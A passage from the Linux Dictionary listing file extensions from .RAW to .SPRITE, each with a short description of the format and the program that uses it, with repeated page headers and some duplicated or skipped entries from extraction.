Datafile (RATS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RAW**
Raw File Format (bitmap) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RAW**
Raw signed PCM data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RAW**
Raw signed PCM data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RBF**
Datafile (Rbase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RBH**
Maintained by RoboHELP, the RBH file adds to the information contained in the Help project file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RC**
Configuration file (emacs) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RC**
Resource script (Borland C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RC**
Resource script (Microsoft C/C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RCG**
Newsgroup file (Netscape) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RD1**
Registered level file (Descent1) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RDF**
Compiled UIC source code (Geoworks UI Compiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RDF**
Research document information format From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RDF**
Resource Description Framework file (related to XML
<http://searchWebServices.techtarget.com/sDefinition/0,,sid26_gci213404,00.html> and metadata
<http://searchDatabase.techtarget.com/sDefinition/0,,sid13_gci212555,00.html>) From
Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RDI**
Device-independent bitmap file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RDL**

Linux Dictionary

- Registered Level file (Descent) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RDX**
Datafile (Reflex) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REC**
Datafile (EpiInfo) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REC**
Record file (Sprint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REC**
Recorded macro (Microsoft Windows 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REC**
Voice file (RapidComm) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RED**
Path information file (Clarion Modula-2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REF**
Reference file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REG**
OLE registration file (Microsoft Windows 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REG**
Registration file (Corel) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REG**
Registration file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .related**
data files for multiple users of a small-scale PC application From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REM**
Remarks file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REP**
Reply file (QWK Reader) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REP**
Report file (CodeReporter) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REP**
Report file (DataBoss) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REP**
Report file (Report Designer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REP**

Linux Dictionary

- Report file (Visual dBase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REQ**
Request file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RES**
Compiled resource file (Borland C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RES**
Resource file (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RES**
Resource file (Microsoft Visual C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REV**
Revision file (GeoWorks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REX**
Report definition (Oracle) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REX**
Source code file (REXX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .REZ**
Resource file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RF**
Raster graphics file (Sun) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RFT**
Revisable Form Text (part of IBM's DCA or Document Content Architecture) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RGB,SGI**
RGB files (Silicon Graphics) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RGX**
Symbol tables (ReaGeniX code generator) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RH**
Resource header file (Borland C++ 4.5) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RI**
Data file (Lotus 1-2-3) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RIB**
Graphics in Renderman format (3DReality) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RIC**
Fax document (Ricoh) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RIF**

Linux Dictionary

- Image file (Metacreations Painter 5) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RIF**
RIFF bitmap graphics (Fractal Design Painter) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RIP**
Graphics (remote access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RIX**
Bitmap graphics (ColorRIX VGA Paint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RL1**
Registered level file (Descent1) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RL2**
Registered level file (Descent2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RL4**
Bitmap graphics file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RL8**
Bitmap graphics file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RLA**
Wavefront raster image (SDSC Image Tool) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RLB**
Data file (Harvard Graphics Win 9.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RLC**
Graphics file (1 bit per pixel scanner output file) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RLE**
Run-Length Encoded bitmap (SDSC Image Tool) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RLZ**
Realizer source code file (CA-Realizer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RM**
Video file (RealAudio) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RMD**
Document (Microsoft RegMaid) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RMF**
Rich Map Format (used by 3-D game editors to store a map) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RMF**
Rich music format (Beatnik) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RMI**

Linux Dictionary

- MIDI music From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RMK**
Makefile (Clipper RMake) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RN**
Xpl Program file (Nota Bene) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RND**
Rendering slide (AutoCAD-AutoShade) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RNO**
Runoff file (VAX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ROL**
FM music Adlib Music file (Roland) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ROM**
Cartridge-based home video game emulator file (exact copy of ROM contents in cartridges from Atari 2600, Colecovision, Sega, Nintendo, etc.; not interchangeable between emulators) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ROV**
Data file (Rescue Rover) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RPD**
Database (RapidFire) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RPL**
Text document (Replica) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RPL**
Video file (Tomb Raider) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RPM**
Package Manager (RedHat Linux) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .rpm**
RedHat Package Manager rpm file. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RPT**
Crystal Reports file (and a sub-set of Microsoft Visual Basic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RRS**
Saved game file (Ace Road Rash) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RS**
Datafile (Amiga Resource Reassembler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RSB**
Red Storm bitmap (Rainbow 6 (Game) and several image editing programs) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RSC**

Linux Dictionary

- Resource file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RSL**
Paradox 7 reports (Broderland) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RSM**
Resume file (WinWay Resume Writer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RSP**
Response file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RS_**
Resource fork file (Macintosh Mac-ette) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RTF**
<http://searchExchange.techtarget.com/sDefinition/0,,sid43_gci214276,00.html> Rich Text Format document From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RTF**
Help file script (Microsoft Windows 9.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RTK**
Used by RoboHELP to simulate the search feature of Windows help From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RTL**
Run Time library (NU 7.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RTL**
Text file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RTM**
Music module (MOD) (Real Tracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RTP**
Software update package data file (RTpatch) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RTS**
RoboHELP to speed complex operations From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RTS**
RTSL document (RealAudio) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RTS**
Runtime library file (CA-Realizer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RUL**
Extension used in InstallShield From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RUN**
Compiled output p-code file (Softworks basic compiler) (SoftworksLtd) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RVP**

Linux Dictionary

- Scan Configuration file (MIME) (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RVW**
Review file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RWS**
Resource Workshop data file (Borland C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RWX**
Script file (RenderWare) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RXX**
RAR compressed files from a multi-volume archive (xx = a number from 01 to 99) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .S**
Assembler source code (Unix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .S**
Source code file (Scheme) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .S\$\$**
Temporary sort file (Sprint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .S3I**
Instrument file (Scream Tracker v 3.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .S3M**
16 channel music file (Scream Tracker v 3.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SAI**
Encrypted video file (Integrated Sensors) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SAL**
Datafile (SORITEC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SAM**
Document (AMI Professional) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SAM**
Signed 8bit sample data file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SAR**
Compressed archive (SAR) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SAV**
Backup file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SAV**
Configuration file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SAV**

Linux Dictionary

- Saved game file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SB**
Raw Signed Byte (8bit) audio data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SB!**
Locking file (Superbase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBD**
Data definition file (Superbase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBD**
Storyboard data file (Storyboard Editor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBF**
File data (Superbase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBI**
Instrument file (Creative Labs SoundBlaster) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBK**
Bank file (Soundblaster)/EMU SoundFont v1.x (Creative Labs Soundfont 1.0) From
Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBL**
Flash object (ShockWave) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBP**
Dml program file (Superbase 4) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBP**
Program file (Superbase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBQ**
Query definition file (Superbase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBR**
Support file (Source Browser) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBT**
Notes related to record data (Superbase 4 for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SBV**
Form definition file (Superbase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SC**
Display driver (Framework II) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SC**
Pal script (Paradox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SC2**

Linux Dictionary

- SAS catalog (Windows 95/NT, OS/2, Mac) From Whatis-Extensions

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHK**

Linux Dictionary

- Compressed Apple archive (SHRINKIT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHK**
Compressed archive (Arthurian Shrink Archiver) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHM**
Shell macro (WordPerfect for Windows Library) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHN**
Audio compression file (Shorten) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHP**
DOS shapes file (3D Studios) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHP**
File format used by some programs for 3D modeling of multipart interactive triangle models From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHP**
Shapefile spatial data format (used by many GIS programs) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHP**
Source code and shape file for text fonts (AutoCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHR**
File archive (Unix ASCII) (SHAR) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHS**
Shell scrap file; reportedly used to send "password stealers" From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHTML**
HTML file containing Server Side Includes (SSI) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHW**
Presentation (Corel Show) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHW**
Presentation (Harvard Graphics 2.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHW**
Slide Show (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHX**
Shape entities (AutoCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SHX**
Shapefile spatial index file (ArcView) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SIF**
Setup installation files (Microsoft Windows NT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SIG**

Linux Dictionary

- Current program settings (Signature) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SIG**
Signature file (PopMail) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SIK**
Backup files (Microsoft Word for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SIK**
Backup files (Sicherungskopie) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SIT**
Compressed archive of Mac files (Stuffit) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SIZ**
Configuration file (Oracle 7) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SKA**
Secret Keyring file (PGP) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SKF**
Drawing file (AutoSketch) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SKL**
Resource file (Macromedia Director) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SL**
Save Layout extension (PACT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SL**
Source code file (S-Lang) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SLB**
Slide Library File (AutoCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SLC**
Compiled SALT script (Telix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SLD**
Slide File (AutoCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SLI**
Slide file (MAGICorp Slide Service) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SLK**
Symbolic link spreadsheet (SLYK) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SLL**
Sound data file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SLT**

Linux Dictionary

- Script application language (SALT) (Telix script source) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SM**
Maillist (SoftSpoken Mailer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SM**
Script file (ScriptMaker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SM**
Source code file (Smalltalk) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SM**
Text file (Samna Word) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SM3**
Symbol file (DataCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SMD**
Video game console ROM emulator file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SMF**
Fax document (SMARTFAX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SMK**
Image file (Deer's Revenge) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SMK**
Image file (Nascar Racing '99) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SMK**
Image file (Smack Player) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SMM**
Macro (AMI Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SMP**
Sample file (AdLib Gold) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SMP**
Samplevision format From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SMS**
Emulator ROM image file (8-bit Sega Master System) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SMT**
SmartObject file (IconAuthor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SMT**
Text file (Smart Ware II) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SND**

Linux Dictionary

- .SND** Raw unsigned PCM data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SND** Sample (AKAI MPC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SND** Sound file (NeXt) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SND** Sound resource (Macintosh) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SNDR** Sound file (Sounder) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SNDT** Sound file (SndTool) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SNG** Midi song file (Midisoft Studio) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SNG** Midi song file (Prism) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SNM** Mailbox (mail folder) index (Netscape) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SNO** Source code file (Snobol4) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SNP** Output video file (Computer Eyes) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SO** Shared library file (Unix)(equivalent to a Windows DLL) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .so** Shared object file. lib*.so is a Dynamically Linked Library. [Executable program code shared by more than one program to save disk space and memory.] From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SOL** Solution file (Common used with game examples,tutorials) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SOM** Network serial numbers (Quattro Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SOM** Sort information files (Paradox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SON** Song file (Creative Labs SoundBlaster Studio II) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .SOU**
Sound file (Creative Labs SoundBlaster Studio) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SP**
Compressed archive for Unix (Sprint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SP4**
Saved game (Roller Coaster Tycoon) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPC**
Program file (Microsoft MultiPlan) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPC**
Temporary file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPD**
Data file (Speech) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPD**
Scalable font (Harvard Graphics 3.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPD**
Scalable font (Speedo) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .spd**
Speedo X Window System font file. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPF**
Slide presentation file (EnerGraphics) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPG**
Glossary file (Sprint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPI**
Graphics file (Phillips Scanner) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPI**
Graphics file (Siemens Scanner) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPL**
Compressed archive (SPLINT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPL**
Customized printer driver (Sprint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPL**
Object file (ShockWave Flash) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPL**
Personal spell dictionary (Signature) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .SPL**
Printer spool file (Microsoft Windows 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPL**
Sample file (DigiTracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPL**
Sample file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPM**
Data file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPP**
Printer file (Sprint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPPACK**
Sound sample (SP Pack) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPR**
Document letter (Sprint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPR**
Generated screen program (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPR**
Sprite (Image layering and resizing) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .SPRITE**
Bitmap file (Acorn) From Whatis-Extensions
